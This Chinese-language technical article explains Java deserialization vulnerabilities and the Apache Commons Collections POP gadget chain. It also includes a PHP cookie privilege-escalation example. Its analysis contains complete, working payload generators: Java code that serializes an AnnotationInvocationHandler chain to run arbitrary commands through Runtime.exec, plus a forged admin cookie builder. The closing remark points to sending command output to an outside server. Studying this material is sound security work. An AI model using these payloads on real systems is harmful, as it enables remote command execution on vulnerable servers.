從反序列化到命令執行 - Java 中的 POP 執行鏈

wyzsk發表於2020-08-19
作者: RickGray · 2015/12/01 18:38

0x00 前言


作為一名不會 Java %!@#&,僅以此文記錄下對 Java 反序列化利用的學習和研究過程。

0x01 什麼是序列化


序列化常用於將程式執行時的物件狀態以二進位制的形式儲存於檔案系統中,然後可以在另一個程式中對序列化後的物件狀態資料進行反序列化恢復物件。簡單的說就是可以基於序列化資料實時在兩個程式中傳遞程式物件。

1.Java 序列化示例

p1

上面是一段簡單的 Java 反序列化應用的示例。在第一段程式碼裡面,程式將例項物件 String("This is String object!") 透過 ObjectOutputStream 類的 writeObject() 函式寫到了檔案裡。序列化物件在具有一定的二進位制結構,以十六進位制格式檢視儲存了序列化物件的檔案,除了包含一些字串常量以外,還能看到其具有不可列印的字元在裡面,而這些字元就是用來描述其序列化結構的。(關於序列化格式的相關資訊可以參考官方文件)

2.Java 序列化特徵

在序列化物件資料中,頭4個位元組儲存的是 Java 序列化物件資料特有的 Magic Number 和相應的協議版本,通常為:

0xaced (Magic Number)
0x0005 (Version Number)

在具體序列化一個物件時,會遵循序列化協議進行資料封裝。扯得有點遠了,對 Java 序列化物件資料結構的研究不在本文範圍內,官方文件有較為詳細的說明,有需要的可以自行查閱。這裡我們只需要知道,序列化後的 Java 物件二進位制資料通常以 0xaced0005 這 4 個位元組開始就可以了。對 Java 應用序列化物件互動的介面尋找就可以透過監測這 4 個特殊位元組來進行。

在 Java 裡,可以序列化一個物件成為具有一定資料格式的二進位制資料,也可以從資料流程中恢復一個例項物件。而進行序列化和反序列化時會使用兩個類,如下:

#!java
// 序列化物件
java.io.ObjectOutputStream
    writeObject()
    writeUnshared()
    ...

// 反序列化物件
java.io.ObjectInputStream
    readObject()
    readUnshared()
    ...

當然了,如果開發者對序列化的過程有自己的需求,也可以在物件中重寫 writeObject()readObject() 函式,來進行一些特殊的狀態和資料的控制。

如果我們需要尋找某個 Java 應用的序列化資料互動介面時,就可以直接進行全域性程式碼搜尋序列化和反序列化中常用的那些函式和方法,當找到 Java 應用的序列化資料互動介面後,便可以開始考慮具體的利用方法了。

0x02 反序列化的危害


若你對 Python 或者 PHP 足夠熟悉就應該知道在這兩個語言中的反序列化過程都能直接導致程式碼執行或者命令執行,並且 Python 中要想利用反序列化執行命令或者程式碼基本沒有什麼條件限制,只要有反序列化的互動介面就能直接執行命令或者程式碼。當然了,如果做了其他的一些安全策略,就要根據實際情況來分析了。

總結一下在各語言中反序列化過程目前可能帶來的危害:

  1. 執行邏輯控制(例如變數修改、登陸繞過)
  2. 程式碼執行
  3. 命令執行
  4. 拒絕服務
  5. ...

這些安全隱患在大多語言的序列化過程出現後就存在了。成功的利用過程大都需要一定的條件和環境,不是每種語言都能像 Python 那樣能給直接執行任意命令或者程式碼,如同一個棧溢位的利用需要考慮各種堆疊防護機制的問題一樣。

一旦透過某種方法達到了反序列化漏洞可利用的環境和條件,能夠進行利用的點就非常多了。

下面是一段程式碼是 PHP 程式碼中將序列化資料以 Cookie 形式儲存的例項(user.php):

#!php
<?php
class User {
    public $username = '';
    private $is_admin = false;
    function __construct($username) { $this->username = $username; }
    function isAdmin() { return $this->is_admin; }
}   

function initUser() {
    $user = new User('Guest');
    $data = base64_encode(serialize($user));
    setCookie('user', $data, time()+3600);
     echo '<script>location.href="./user.php"</script>';
}   

if(isset($_COOKIE['user'])) {
    $user = unserialize(base64_decode($_COOKIE['user']));
    if($user) {
        if($user->isAdmin()) { echo 'Welcome Come Back, Admninistrator.'; }
        else { echo "Hello, $user->username."; }
    } else {
        initUser();
    }
} else { initUser(); }

p2

這段程式碼將使用者資訊以 base64_encode(serialize($user)) 的形式儲存於客戶端的 $_COOKIE['data'] 裡,對序列化敏感的都知道可以自己構造序列化內容然後傳遞給服務端,使其改變程式碼邏輯。使用下面這段程式碼生成 $is_admin = true 的使用者資訊:

#!php
<?php
class User {
    public $username = 'Guest';
    private $is_admin = true;
}   

echo base64_encode(serialize(new User()));

用生成好的 Payload 修改 Cookie 後再次訪問即可看到 Welcome Come Back, Admninistrator. 的輸出資訊。

p3

上面這個只是 PHP 中一個簡單利用反序列化過程控制程式碼流程的例子。

Java 中也可以利用反序列化控制程式碼流程(傳播的畢竟是一個物件例項), 但在 Java 中想要隨便反序列化一個類例項是不行的,進行反序列化的類必須顯示宣告 Serializable 介面,這樣才允許進行序列化操作。(具體可以參考官方文件

0x03 面向屬性程式設計


面向屬性程式設計(Property-Oriented Programing)常用於上層語言構造特定呼叫鏈的方法,與二進位制利用中的面向返回程式設計(Return-Oriented Programing)的原理相似,都是從現有執行環境中尋找一系列的程式碼或者指令呼叫,然後根據需求構成一組連續的呼叫鏈。在控制程式碼或者程式的執行流程後就能夠使用這一組呼叫鏈做一些工作了。

1.基本概念

在二進位制利用時,ROP 鏈構造中是尋找當前系統環境中或者記憶體環境裡已經存在的、具有固定地址且帶有返回操作的指令集,而 POP 鏈的構造則是尋找程式當前環境中已經定義了或者能夠動態載入的物件中的屬性(函式方法),將一些可能的呼叫組合在一起形成一個完整的、具有目的性的操作。二進位制中通常是由於記憶體溢位控制了指令執行流程,而反序列化過程就是控制程式碼執行流程的方法之一,當然進行反序列化的資料能夠被使用者輸入所控制。

p4

從上面這幅圖可以知道 ROP 與 POP 極其相似,但 ROP 關注的更為底層,而 POP 只關注上層語言中物件與物件之間的呼叫關係。

2. POP 示例

之前所寫的《unserialize() 實戰之 vBulletin 5.x.x 遠端程式碼執行》就是一個 PHP 中反序列化過程 POP 執行鏈構造的例子,有興趣的可以瀏覽一下,這裡就不再給出具體的 POP 示例了。

0x04 Java 反序列化利用


前面講了這麼多也算是自己在研究老外對 Java 反序列化利用時學習和總結出的一些必要知識,下面就來說說從 Java 反序列化到任意命令執行的利用過程。

本年 1 月 AppSec2015 上 @gebl@frohoff 所講的 《Marshalling Pickles》 提到了基於 Java 的一些通用庫或者框架能夠構建出一組 POP 鏈使得 Java 應用在反序列化的過程中觸發任意命令執行,同時也給出了相應的 Payload 構造工具 ysoserial。時隔 10 月國外 FoxGlove 安全團隊也發表博文提到一部分流行的 Java 容器和框架使用了可以構造出能夠導致任意命令執行 POP 鏈的通用庫,也針對每種受影響的 Java 容器或框架從漏洞發現、分析到具體的利用構造都進行了詳細的說明,並在 Github 上放出了相應的 PoC。能夠成功構造出任意命令執行呼叫鏈的通用庫和框架如下:

  1. Spring Framework <= 3.0.5,<= 2.0.6;
  2. Groovy < 2.4.4;
  3. Apache Commons Collections <= 3.2.1,<= 4.0.0;
  4. More to come ...

(PS:這些框架或者通用庫輔助構造可導致命令執行 POP 鏈的環境而已,反序列化漏洞的根源是因為不可信的輸入和未檢測反序列化物件安全性造成的。)

大多講解和分析 Java 反序列化到任意命令執行的文章中,都提到了 Apache Commons Collections 這個 Java 庫,因其 POP 鏈構造過程在自己學習和研究過程中是最容易理解的一個,所以下面也只分析基於 Apache Commons Collections 3.x 版本的 Gadget 構造過程。

InvokerTransformer.transform() 反射呼叫

在使用 Apache Commons Collections 庫進行 Gadget 構造時主要利用了其 Transformer 介面。

#!java
public interface Transformer {  

    /**
     * Transforms the input object (leaving it unchanged) into some output object.
     *
     * @param input  the object to be transformed, should be left unchanged
     * @return a transformed object
     * @throws ClassCastException (runtime) if the input is the wrong class
     * @throws IllegalArgumentException (runtime) if the input is invalid
     * @throws FunctorException (runtime) if the transform cannot be completed
     */
    public Object transform(Object input);  

}

主要用於將一個物件透過 transform 方法轉換為另一個物件,而在庫中眾多物件轉換的介面中存在一個 Invoker 型別的轉換介面 InvokerTransformer,並且同時還實現了 Serializable 介面。

#!java
public class InvokerTransformer implements Transformer, Serializable {
...省略...
    private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();  // 反射獲取類
            Method method = cls.getMethod(iMethodName, iParamTypes);  // 反射得到具有對應引數的方法
            return method.invoke(input, iArgs);  // 使用對應引數呼叫方法,並返回相應呼叫結果
        } catch (NoSuchMethodException ex) {
...省略...

可以看到 InvokerTransformer 類中實現的 transform() 介面使用 Java 反射機制獲取反射物件 input 中的引數型別為 iParamTypes 的方法 iMethodName,然後使用對應引數 iArgs 呼叫獲取的方法,並將執行結果返回。由於其實現了 Serializable 介面,因此其中的三個必要引數 iMethodNameiParamTypesiArgs 都是可以透過序列化直接構造的,為命令執行創造的決定性的條件。

然後要想利用 InvokerTransformer 類中的 transform() 來達到任意命令執行,還需要一個入口點,使得應用在反序列化的時候能夠透過一條呼叫鏈來觸發 InvokerTransformer 中的 transform() 介面。

然而在 Apache Commons Collections 裡確實存在這樣的呼叫,其一是位於 TransformedMap 類中的 checkSetValue() 方法:

#!java
public class TransformedMap
        extends AbstractInputCheckedMapDecorator
        implements Serializable {
...省略...
    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

TransformedMap 實現了 Map 介面,而在對字典鍵值進行 setValue() 操作時會呼叫 valueTransformer.transform(value)

#!java
...省略...
        public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }
    }

好的,現在已經找到了反射呼叫的上一步呼叫,這裡為了多次進行多次反射呼叫,我們可以將多個 InvokerTransformer 例項級聯在一起組成一個 ChainedTransformer 物件,在其呼叫的時候會進行一個級聯 transform() 呼叫:

#!java
public class ChainedTransformer implements Transformer, Serializable {
...省略...
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

現在已經可以造出一個 TransformedMap 例項,在對字典鍵值進行 setValue() 操作時候調我們構造的 ChainedTransformer,下面給出示例程式碼:

#!java
package exserial.examples;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;   

import java.util.HashMap;
import java.util.Map;   

public class SetValueToExec {   

    public static void main(String[] args) throws Exception {
        String command = (args.length != 0) ? args[0] : "/bin/sh,-c,open /Applications/Calculator.app";
        String[] execArgs = command.split(","); 

        Transformer[] transforms = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer(
                        "getMethod",
                        new Class[] {String.class, Class[].class},
                        new Object[] {"getRuntime", new Class[0]}
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[] {Object.class, Object[].class},
                        new Object[] {null, new Object[0]}
                ),
                new InvokerTransformer(
                        "exec",
                        new Class[] {String[].class},
                        new Object[] {execArgs}
                )
        };
        Transformer transformerChain = new ChainedTransformer(transforms);
        Map tempMap = new HashMap<String, Object>();
        Map<String, Object> exMap = TransformedMap.decorate(tempMap, null, transformerChain);
        exMap.put("1111", "2222");
        for (Map.Entry<String, Object> exMapValue : exMap.entrySet()) {
            exMapValue.setValue(1);
        }
    }
}

根據之前的分析,將上面這段程式碼編譯執行後會預設會彈出計算器,對程式碼詳細執行過程有疑惑的可以透過單步除錯進行測試:

p5

然後我們現在只是測試了使用 TransformedMap 進行任意命令執行而已,要想在 Java 應用反序列化的過程中觸發該過程還需要找到一個類,它能夠在反序列化呼叫 readObject() 的時候呼叫 TransformedMap 內建類 MapEntry 中的 setValue() 函式,這樣才能構成一條完整的 Gadget 呼叫鏈。恰好在 sun.reflect.annotation.AnnotationInvocationHandler 類具有 Map 型別的引數,並且在 readObject() 方法中觸發了上面所提到的所有條件,其原始碼如下:

#!java
private void readObject(java.io.ObjectInputStream s) {
    ...省略...
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
                memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));
            }
        }
    }
}

可以注意到 memberValueAnnotationInvocationHandler 類中型別宣告為 Map<String, Object> 的成員變數,剛好和之前構造的 TransformedMap 型別相符,因此我們可以透過 Java 的反射機制動態的獲取 AnnotationInvocationHandler 類,使用精心構造好的 TransformedMap 作為它的例項化引數,然後將例項化的 AnnotationInvocationHandler 進行序列化得到二進位制資料,最後傳遞給具有相應環境的序列化資料互動介面使之觸發命令執行的 Gadget,完整程式碼如下:

#!java
package exserial.payloads;  

import java.io.ObjectOutputStream;  

import java.util.Map;
import java.util.HashMap;   

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;   

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer; 

import exserial.payloads.utils.Serializables;   

public class Commons1 { 

    public static Object getAnnotationInvocationHandler(String command) throws Exception {
        String[] execArgs = command.split(",");
        Transformer[] transforms = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer(
                        "getMethod",
                        new Class[] {String.class, Class[].class},
                        new Object[] {"getRuntime", new Class[0]}
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[] {Object.class, Object[].class},
                        new Object[] {null, new Object[0]}
                ),
                new InvokerTransformer(
                        "exec",
                        new Class[] {String[].class},
                        new Object[] {execArgs}
                )
        };
        Transformer transformerChain = new ChainedTransformer(transforms);
        Map tempMap = new HashMap();
        tempMap.put("value", "does't matter");
        Map exMap = TransformedMap.decorate(tempMap, null, transformerChain);
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, exMap);    

        return instance;
    }   

    public static void main(String[] args) throws Exception {
        String command = (args.length != 0) ? args[0] : "/bin/sh,-c,open /Applications/Calculator.app"; 

        Object obj = getAnnotationInvocationHandler(command);
        ObjectOutputStream out = new ObjectOutputStream(System.out);
        out.writeObject(obj);
    }
}

最終用一段呼叫鏈可以清晰的描述整個命令執行的觸發過程:

/*
    Gadget chain:
        ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                AbstractInputCheckedMapDecorator$MapEntry.setValue()
                    TransformedMap.checkSetValue()
                        ConstantTransformer.transform()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Class.getMethod()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.getRuntime()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()  

    Requires:
        commons-collections <= 3.2.1
*/

0x05 總結


由於水平有限,暫時只能筆止於此。要清楚反序列化問題不單單存在於某種語言裡,而是目前的大多數實現了序列化介面的語言都沒有對反序列化的物件做安全檢查,雖然官方都有文件說不要對不可信的輸入資料進行反序列化,但是往往一些框架就喜歡使用序列化來方便不同應用或者平臺之間物件的傳遞,這就促使了反序列化漏洞的形成。

基於 Apache Commons Collections 通用庫構造遠端命令執行的 POP Gadget 只能說是 Java 反序列化漏洞利用中的一枚輔助炮彈而已,如果不從根本上加強反序列化的安全策略,以後還會湧現出更多通用庫或者框架的 POP Gadget 能夠進行有效的利用。

(最後說說關於回顯的問題,由於最後的反射呼叫是一個級聯式的呼叫,並不允許變數二次使用,所以想要不借助外部直接在當前會話輸出執行結果是不可能的(至少我已經盡全力嘗試了),最簡單的方式當然是在外部伺服器上用 nc 或者一些其他服務來獲取命令返回的資訊,具體怎麼把執行結果返回到服務端,日過站的你肯定知道。想批次?Yes,so easy!)

0x06 參考


本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章